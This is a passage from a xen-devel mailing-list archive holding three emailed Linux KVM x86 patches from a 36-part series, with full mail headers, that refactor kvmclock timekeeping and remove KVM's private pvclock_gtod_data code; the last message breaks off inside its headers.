Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=aGl8eHQJHZwWcbaCoMM2Z87yd80DKJIrhyfcCcwLE5s=; b=hH1CEifDJ//b2cMYXgplgpffBw
	JlbIHb06uSkz8so4EFVbV4TF7K/rID1U5/d5XdHyYgYIGqhyAErKFHmrB/Y685UVi9+GCnJeY4z37
	uFVeBIU+60NbsvskpXYmxHEOWl54TaKHVjCfhNfEohUvzdryNaJXcdsQQk3WPha70ougr2PoIcmtP
	apL/bA5DgMNsSc4NP3wRPsDV8rkv4zJvnNHpvdeFVINlAwQoNIEqYXwNyAiYDSOmEMydUnhRBFYAE
	Cp+pKq3neAWKhzRyvlL8dWn66AISJciwa75YlnYTbdSF2A/zgplTvNw7D2ofR7055NB/FTHRjUzIv
	H+zpeANQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 25/36] KVM: x86: Compute kvmclock base without pvclock_gtod_data
Date: Tue, 28 Jul 2026 15:40:05 +0100
Message-ID: <20260728144954.355376-26-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-33051d/1785250222-76AF94E9-185D792B/0/0
X-purgate-type: clean
X-purgate-size: 1068

From: David Woodhouse <dwmw@amazon.co.uk>

get_kvmclock_base_ns() needs CLOCK_MONOTONIC_RAW + offs_boot. Compute
this directly rather than reading offs_boot from the pvclock_gtod_data
private copy. offs_boot only changes at suspend/resume so does not
need to be atomically paired with the raw clock read.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Assisted-by: Kiro:claude-opus-4.6-1m
---
 arch/x86/kvm/x86.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 74776dd497f2..a64e5a596a4e 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -933,7 +933,7 @@ static void update_pvclock_gtod(struct timekeeper *tk)
 static s64 get_kvmclock_base_ns(void)
 {
 	/* Count up from boot time, but with the frequency of the raw clock.  */
-	return ktime_to_ns(ktime_add(ktime_get_raw(), pvclock_gtod_data.offs_boot));
+	return ktime_to_ns(ktime_mono_to_any(ktime_get_raw(), TK_OFFS_BOOT));
 }
 
 static uint32_t div_frac(uint32_t dividend, uint32_t divisor)
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:51:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:51:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374533.1621916 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj94-0007QI-Sy; Tue, 28 Jul 2026 14:51:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374533.1621916; Tue, 28 Jul 2026 14:51:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj93-0007L6-Du; Tue, 28 Jul 2026 14:51:01 +0000
Received: by outflank-mailman (input) for mailman id 1374533;
 Tue, 28 Jul 2026 14:50:28 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8V-0000Wg-VP
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8V-00EhwD-Al; Tue, 28 Jul 2026 16:50:27 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1ae-5cb7-0a2a0a5109dd-0a2a4506abd0-2
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1ae-195a-0a2a45060019-5a9b32228b74-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOm-0ID4; Tue, 28 Jul 2026 14:49:56 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UXy-0SWc;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=4VY/igWUqNSJOEWywP/U3Qrf0q3GjhRxhpOp9zM//ng=; b=k3sg5sh1Feq7DCYO0jDXScowpK
	bffW+fbxmlKRgpEweZ7JGgTlwVBVdVSJur8POhpUe+THC5dBHhdLdBB8xzjT+dmXGm/p2vdVM+rJd
	9WNJjogAGZy3xZWrui+kQNG7s+a6YiMPq0+AaQUmkxRBtQmA+Aq/F0N5mb2ZlImdKJ3PAa45EYTEp
	vSzc1pI1PKi/0KkJnyKgUaAaULfEQWLNTgrMsMZrKHNG3Tkkzout893NSdhu06r4NCD4wLBmC3qVw
	MdmFoAbnAmXbncNrwyVF78jJY6Rbfuc90Cy/wO9y69oDu6EvgSyPevFDxgoa9uR5qWFsADRZQzxLg
	sQKGEmoQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 03/36] KVM: x86: Activate master clock immediately on vCPU creation
Date: Tue, 28 Jul 2026 15:39:43 +0100
Message-ID: <20260728144954.355376-4-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-16d1c6/1785250222-FD80D77B-6776E78B/0/0
X-purgate-type: clean
X-purgate-size: 1252

From: David Woodhouse <dwmw@amazon.co.uk>

Previously, the master clock was only activated when the first vCPU
processed KVM_REQ_MASTERCLOCK_UPDATE during KVM_RUN. This meant that
KVM_GET_CLOCK could not return the host_tsc field until after the
first KVM_RUN, making it impossible for userspace to follow the
documented TSC migration procedure without a dummy vCPU run.

Fix this by calling kvm_update_masterclock() directly from
kvm_arch_vcpu_postcreate(), after kvm_synchronize_tsc() has already
set all_vcpus_matched_freq. This ensures the master clock is active
immediately, and KVM_GET_CLOCK returns a valid {host_tsc, realtime}
pair as soon as a vCPU exists.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index f7e1031f8eb0..dac9264497e8 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -9434,6 +9434,8 @@ void kvm_arch_vcpu_postcreate(struct kvm_vcpu *vcpu)
 		return;
 	vcpu_load(vcpu);
 	kvm_synchronize_tsc(vcpu, NULL);
+	if (!vcpu->kvm->arch.use_master_clock)
+		kvm_update_masterclock(vcpu->kvm);
 	vcpu_put(vcpu);
 
 	/* poll control enabled by default */
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:51:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:51:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374534.1621922 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj96-0007hN-RL; Tue, 28 Jul 2026 14:51:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374534.1621922; Tue, 28 Jul 2026 14:51:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj94-0007Yz-Mk; Tue, 28 Jul 2026 14:51:02 +0000
Received: by outflank-mailman (input) for mailman id 1374534;
 Tue, 28 Jul 2026 14:50:29 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8V-0000WW-Vy
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8V-00BbHr-Am; Tue, 28 Jul 2026 16:50:27 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1a9-2eae-0a2a0a5409dd-0a2a45078656-20
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1ae-b4ea-0a2a45070019-5a9b3222b09e-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOw-1snW; Tue, 28 Jul 2026 14:49:57 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001UZZ-0zXB;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=T+gT8e4xECKcvamuWd/Aq+3FmqUt6jn6kCqAQ3O0W/4=; b=i8lqf2S20ph7yBPDQrb2fKRyd+
	o8LVfrfuJYUuCLUQO0xAYWEbvlaA/m24dPiT+9Xi1TcwZn9UDuIqY2laVKoX0C4FqtBRBD0x/HI+5
	Bd9tepx0jJmRUKGrnVlL0hNkgHV7GbPg6SokjPW1KlUF9Tiem2m30Bgg0vOMcxaQCWNeSuNN0Pth9
	u/EcRYZ06pkA5KjTqncLqciDYyjcszl5CnRwkWHF77hm6Hed1hn8hnfEfsd3RScNFRbVXxahMqGH1
	ZvmL7W2bPFZWSOMO0u23p55xLxFp/8PHDZHEpxj7a34XLbfo2AJk9pECVq2w9rjqEwa8e5GTg/6Zm
	VSjGeyzA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 27/36] KVM: x86: Remove pvclock_gtod_data and private timekeeping code
Date: Tue, 28 Jul 2026 15:40:07 +0100
Message-ID: <20260728144954.355376-28-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ef75cf/1785250222-36CDFAE4-BF201C33/0/0
X-purgate-type: clean
X-purgate-size: 6490

From: David Woodhouse <dwmw@amazon.co.uk>

Remove the now-unused KVM-private timekeeping infrastructure:

 - struct pvclock_clock and struct pvclock_gtod_data
 - update_pvclock_gtod() and its seqcount-protected state copy
 - read_tsc() (KVM's private TSC reader with cycle_last clamping)
 - vgettsc() (KVM's private clocksource interpolation)
 - do_kvmclock_base(), do_monotonic(), do_realtime()

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Assisted-by: Kiro:claude-opus-4.6-1m
---
 arch/x86/kvm/x86.c | 178 +--------------------------------------------
 1 file changed, 1 insertion(+), 177 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index ee992c073b6d..e8e75e47fc33 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -878,58 +878,6 @@ static inline bool kvm_vcpu_exit_request(struct kvm_vcpu *vcpu)
 	       kvm_request_pending(vcpu) || xfer_to_guest_mode_work_pending();
 }
 
-struct pvclock_clock {
-	int vclock_mode;
-	u64 cycle_last;
-	u64 mask;
-	u32 mult;
-	u32 shift;
-	u64 base_cycles;
-	u64 offset;
-};
-
-struct pvclock_gtod_data {
-	seqcount_t	seq;
-
-	struct pvclock_clock clock; /* extract of a clocksource struct */
-	struct pvclock_clock raw_clock; /* extract of a clocksource struct */
-
-	ktime_t		offs_boot;
-	u64		wall_time_sec;
-};
-
-static struct pvclock_gtod_data pvclock_gtod_data;
-
-static void update_pvclock_gtod(struct timekeeper *tk)
-{
-	struct pvclock_gtod_data *vdata = &pvclock_gtod_data;
-
-	write_seqcount_begin(&vdata->seq);
-
-	/* copy pvclock gtod data */
-	vdata->clock.vclock_mode	= tk->tkr_mono.clock->vdso_clock_mode;
-	vdata->clock.cycle_last		= tk->tkr_mono.cycle_last;
-	vdata->clock.mask		= tk->tkr_mono.mask;
-	vdata->clock.mult		= tk->tkr_mono.mult;
-	vdata->clock.shift		= tk->tkr_mono.shift;
-	vdata->clock.base_cycles	= tk->tkr_mono.xtime_nsec;
-	vdata->clock.offset		= tk->tkr_mono.base;
-
-	vdata->raw_clock.vclock_mode	= tk->tkr_raw.clock->vdso_clock_mode;
-	vdata->raw_clock.cycle_last	= tk->tkr_raw.cycle_last;
-	vdata->raw_clock.mask		= tk->tkr_raw.mask;
-	vdata->raw_clock.mult		= tk->tkr_raw.mult;
-	vdata->raw_clock.shift		= tk->tkr_raw.shift;
-	vdata->raw_clock.base_cycles	= tk->tkr_raw.xtime_nsec;
-	vdata->raw_clock.offset		= tk->tkr_raw.base;
-
-	vdata->wall_time_sec            = tk->xtime_sec;
-
-	vdata->offs_boot		= tk->offs_boot;
-
-	write_seqcount_end(&vdata->seq);
-}
-
 static s64 get_kvmclock_base_ns(void)
 {
 	/* Count up from boot time, but with the frequency of the raw clock.  */
@@ -1472,128 +1420,6 @@ void kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 *user_value)
 
 #ifdef CONFIG_X86_64
 
-static u64 read_tsc(void)
-{
-	u64 ret = (u64)rdtsc_ordered();
-	u64 last = pvclock_gtod_data.clock.cycle_last;
-
-	if (likely(ret >= last))
-		return ret;
-
-	/*
-	 * GCC likes to generate cmov here, but this branch is extremely
-	 * predictable (it's just a function of time and the likely is
-	 * very likely) and there's a data dependence, so force GCC
-	 * to generate a branch instead.  I don't barrier() because
-	 * we don't actually need a barrier, and if this function
-	 * ever gets inlined it will generate worse code.
-	 */
-	asm volatile ("");
-	return last;
-}
-
-static inline u64 vgettsc(struct pvclock_clock *clock, u64 *tsc_timestamp,
-			  int *mode)
-{
-	u64 tsc_pg_val;
-	long v;
-
-	switch (clock->vclock_mode) {
-	case VDSO_CLOCKMODE_HVCLOCK:
-		if (hv_read_tsc_page_tsc(hv_get_tsc_page(),
-					 tsc_timestamp, &tsc_pg_val)) {
-			/* TSC page valid */
-			*mode = VDSO_CLOCKMODE_HVCLOCK;
-			v = (tsc_pg_val - clock->cycle_last) &
-				clock->mask;
-		} else {
-			/* TSC page invalid */
-			*mode = VDSO_CLOCKMODE_NONE;
-		}
-		break;
-	case VDSO_CLOCKMODE_TSC:
-		*mode = VDSO_CLOCKMODE_TSC;
-		*tsc_timestamp = read_tsc();
-		v = (*tsc_timestamp - clock->cycle_last) &
-			clock->mask;
-		break;
-	default:
-		*mode = VDSO_CLOCKMODE_NONE;
-	}
-
-	if (*mode == VDSO_CLOCKMODE_NONE)
-		*tsc_timestamp = v = 0;
-
-	return v * clock->mult;
-}
-
-/*
- * As with get_kvmclock_base_ns(), this counts from boot time, at the
- * frequency of CLOCK_MONOTONIC_RAW (hence adding gtos->offs_boot).
- */
-static int do_kvmclock_base(s64 *t, u64 *tsc_timestamp)
-{
-	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
-	unsigned long seq;
-	int mode;
-	u64 ns;
-
-	do {
-		seq = read_seqcount_begin(&gtod->seq);
-		ns = gtod->raw_clock.base_cycles;
-		ns += vgettsc(&gtod->raw_clock, tsc_timestamp, &mode);
-		ns >>= gtod->raw_clock.shift;
-		ns += ktime_to_ns(ktime_add(gtod->raw_clock.offset, gtod->offs_boot));
-	} while (unlikely(read_seqcount_retry(&gtod->seq, seq)));
-	*t = ns;
-
-	return mode;
-}
-
-/*
- * This calculates CLOCK_MONOTONIC at the time of the TSC snapshot, with
- * no boot time offset.
- */
-static int do_monotonic(s64 *t, u64 *tsc_timestamp)
-{
-	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
-	unsigned long seq;
-	int mode;
-	u64 ns;
-
-	do {
-		seq = read_seqcount_begin(&gtod->seq);
-		ns = gtod->clock.base_cycles;
-		ns += vgettsc(&gtod->clock, tsc_timestamp, &mode);
-		ns >>= gtod->clock.shift;
-		ns += ktime_to_ns(gtod->clock.offset);
-	} while (unlikely(read_seqcount_retry(&gtod->seq, seq)));
-	*t = ns;
-
-	return mode;
-}
-
-static int do_realtime(struct timespec64 *ts, u64 *tsc_timestamp)
-{
-	struct pvclock_gtod_data *gtod = &pvclock_gtod_data;
-	unsigned long seq;
-	int mode;
-	u64 ns;
-
-	do {
-		seq = read_seqcount_begin(&gtod->seq);
-		ts->tv_sec = gtod->wall_time_sec;
-		ns = gtod->clock.base_cycles;
-		ns += vgettsc(&gtod->clock, tsc_timestamp, &mode);
-		ns >>= gtod->clock.shift;
-	} while (unlikely(read_seqcount_retry(&gtod->seq, seq)));
-
-	ts->tv_sec += __iter_div_u64_rem(ns, NSEC_PER_SEC, &ns);
-	ts->tv_nsec = ns;
-
-	return mode;
-}
-
 /*
  * Calculates the kvmclock_base_ns (CLOCK_MONOTONIC_RAW + boot time) and
  * reports the TSC value from which it do so. Returns true if host is
@@ -7070,11 +6896,9 @@ static DEFINE_IRQ_WORK(pvclock_irq_work, pvclock_irq_work_fn);
 static int pvclock_gtod_notify(struct notifier_block *nb, unsigned long unused,
 			       void *priv)
 {
+#ifdef CONFIG_X86_64
 	struct timekeeper *tk = priv;
 
-	update_pvclock_gtod(tk);
-
-#ifdef CONFIG_X86_64
 	kvm_host_vclock_mode =
 		tk->tkr_mono.clock->vdso_clock_mode;
 
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:51:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:51:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374535.1621927 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj98-00084K-8v; Tue, 28 Jul 2026 14:51:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374535.1621927; Tue, 28 Jul 2026 14:51:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj96-0007xR-AH; Tue, 28 Jul 2026 14:51:04 +0000
Received: by outflank-mailman (input) for mailman id 1374535;
 Tue, 28 Jul 2026 14:50:29 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8W-0000ZJ-6t
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8V-00EhwD-JS; Tue, 28 Jul 2026 16:50:27 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1a5-5cb7-0a2a0a5109dd-0a2a450cb8be-20
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1ae-f479-0a2a450c0019-5a9b3222b0a0-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOo-0Osr; Tue, 28 Jul 2026 14:49:56 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYb-2tcQ;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=eanGRtFbt0e/6VhCHpzLvK8yKD/dtj+EuVn1/O+45Sw=; b=U3C5lpvyJz2mfvqci4tSiwtFKR
	7OfszrTn9ujeY4IvnPfYSPiaKWDcs5nUWKHCYvFBqFeWmYlBfPsyhfH91PbeoVs1G8Bsq6yQg8n8E
